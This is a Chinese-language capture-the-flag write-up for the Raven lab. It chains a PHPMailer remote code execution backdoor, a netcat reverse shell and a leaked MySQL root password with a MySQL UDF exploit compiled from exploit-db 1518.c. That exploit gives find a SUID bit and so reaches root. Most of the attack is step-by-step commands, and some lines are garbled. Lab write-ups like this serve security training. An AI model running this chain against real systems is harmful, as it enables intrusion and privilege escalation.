┌──
(root
㉿
kali)
-[/home/kali/Desktop/bj/2]
└─# nc -vlp 4444 //
在
kali
开启监听
然后去访问
http://192.168.214.133/contact.php
;就可以生成后门
maps.php
然后我们在去访问
http://192.168.214.133/maps.php
这个后门,就反弹连接到
kali
但是我发现通过反弹无法成功,所以用了另外一种方法
因为前面已经发现是PHPMailer
1. phpmailerCVE-2016-10033远程代码执行漏洞利用
1. 先配置信息,具体信息如下 set RHOSTS 192.168.214.133 set TARGETURI /contact.php set WEB_ROOT /var/www/html 2. run,运行 运行后会在/var/www/html/路径写入一个xxx.php文件,文件内容的作用是反弹shell,文件名是随机的 3. 把文件名复制到浏览器进行访问 http://raven.local/xxx.php 4. 等待几分钟就能得到shell,www权限。
配置完成之后,就可以运行了
竟然成功了,修改vi /etc/hosts
将靶机ip输入,再加上http://raven.local
192.168.214.133 raven.local
4.
获得反弹
shell
,因为这里是一个伪
shell
,进入
pty
python -c 'import pty;pty.spawn("/bin/bash")'
cd /tmp //
进入
tmp
因为/tmp权限比较强大,可以直接提权到root模式,知识点是关于udf提权
进入/var/www/html路径下,发现flag2.txt
查看flag3.png是一堆乱码
通过dirb扫描端口
发现存在mysql,发现用户名和密码,发现里面搭建了一个mysql
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity')
用户名为root密码为R@v3nSecurity
通过mysql -u root R@v3nSecurity登陆
发现wordpress这个数据库,比较可疑,
use wordpress //
这里为什么要去查看
wordpress
,因为目录和密码在前面都用的这个,我们首先看一
下;正常流程是都要看一下进行信息收集
发现用户表格,查看表数据,发现两个用户名
michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.
www-data@Raven:/var/html/wordpress$ ps -aux | grep mysql //
这里我们看到了
mysql
我们就要想到
udf
提权,查看它运行的权限 看到是
root
运行,满足
udf
提权
https://www.freebuf.com/articles/database/291175.html
udf
提权参考
www-data@Raven:/var/www/html/wordpress$ dpkg -l | grep mysql //
查看
mysql
安装的包的版本是
5.5.6
接下来那么我们直接在本地登录
www-data@Raven:/var/html/wordpress$ mysql -uroot
-pR@v3nSecurit
mysql> select version(); //
我们先去查看版本信息,可不可以提权 再次查看到是
5.5.60
应该就是
5.5.60
版本
//
到此我们并没有发现相关信息,继续查看能否满足进行
udf
提权
mysql> show global variables like 'secure%';
8.
进行分析
udf
提权
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | | //
这里是空值
+------------------+-------+
2 rows in set (0.00 sec)
(1)
当
secure_file_priv
的值为
NULL
,表示限制
mysqld
不允许导入
|
导出,此时无法提权
(2)
当
secure_file_priv
的值为
/tmp/
,表示限制
mysqld
的导入
|
导出只能发生在
/tmp/
目录下,此时也
无法提权
(3)
当
secure_file_priv
的值没有具体值时,表示不对
mysqld
的导入
|
导出做限制,此时可提权
!
如果是
MySQL >= 5.1
的版本,必须把
UDF
的动态链接库文件放置于
MySQL
安装目录下的
lib\plugin
文件夹下文件夹下才能创建自定义函数。
查看到是
5.5.60
mysql> show variables like '%plugin%'; //
查看插件目录查看能否远程登陆,我们这里查看远程登录可
以的话就用
MSF
去登录;要了解谁可以进行访问
mysql> use mysql;
mysql> select user,host from user;
+------------------+-----------+
| user | host |
+------------------+-----------+
| root | 127.0.0.1 |
| root | ::1 |
| debian-sys-maint | localhost |
| root | localhost | //
在这里我们发现只能本地访问,那么就不可以用
MSF
远程攻击
| root | raven |
9.
我们进行
udf
提权
www-data@Raven:/var/html/wordpress$ cd /usr/lib/mysql/plugin //.so
文件我们要执行一个恶意
.so
提权
到
root
我们已经知道了,
mysql
版本 那么我们就搜索:
mysql 5.x UDF exploit
或者
searchsploit udf
http
s://www.exploit-db.com/exploits/1518
┌──
(root
㉿
kali)
-[/home/kali/Desktop]
└─# searchsploit 1518.c
/usr/share/exploitdb/exploits/linux/local/1518.
┌──
(root
㉿
kali)-
[/home/kali/Desktop]
└─# cp /usr/share/exploitdb/exploits/linux/local/1518.c .
┌──
(root
㉿
kali)
-[/home/kali/Desktop]
└─# gcc -g -c 1518.c //GCC
编译
.o
文件
┌──
(root
㉿
kali)
-[/home/kali/Desktop]
└─# gcc -g -shared -o maps.so 1518.o -lc
1
-g
生成调试信息
2
-c
编译(二进制)
3
-shared
:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
4
-o
:执行命令后的文件名
5
-lc
:
-l
库
c
库名
┌──
(root
㉿
kali)
-[/home/kali/Desktop]
└─# ls -la //
这里就有了一个
maps.so
文件
然后在
kali
本目录下开启
http
服务:
python -m SimpleHTTPServer 8080
或者用
python3 -m http.server 80
┌──
(root
㉿
kali)
-[/home/kali/Desktop]
└─# python3 -m http.server 80
www-data@Raven:/usr/lib/mysql/plugin$ cd /tmp
www-data@Raven:/tmp$ wget
http://192.168.214.133/maps.so
www-data@Raven:/tmp$ ls
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
mysql> create table maps(line blob); //
进入数据库创建数据表
maps
:
mysql> show tables; //
查看
maps
表是否存在
mysql> insert into maps values(load_file(
'/tmp/maps.so'
)); //
插入数据文件
,
这里为什么是
tmp
因为刚才
下载过来
maps.so
文件在
/tmp
下面
mysql> desc maps //
查看相应的表中内容
-> ;
maps
表成功插入二进制数据,然后利用
dumpfile
函数把文件导出,
outfile
多行导出,
dumpfile
一行导
出
outfile
会有特殊的转换,而
dumpfile
是原数据导出!
mysql> select * from maps into dumpfile '/usr/lib/mysql/plugin/maps.so';
//
创建自定义函数
do_system
,类型是
integer
,别名(
soname
)文件名字,然后查询函数是否创建成
功:
mysql> create function do_system returns integer soname 'maps.so';
//
查看以下创建的函数:
mysql> select * from mysql.func; //
查看是否有
maps.so,type
类型是否是
function
//
调用
do_system
函数来给
find
命令所有者的
suid
权限,使其可以执行
root
命令:
(
或者利用
sys_exec
、
sys_eval
这里没有这两个函数
)
mysql> select do_system('chmod u+s /usr/bin/find'); //
这里我们给利用
SUID
配置错误提权
(
https://zhuanlan.zhihu.com/p/408153639
suid
提权)
新建一个文件进行find提权,发现find提权之后euid=0(root)
权限增大,变为root权限,发现flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}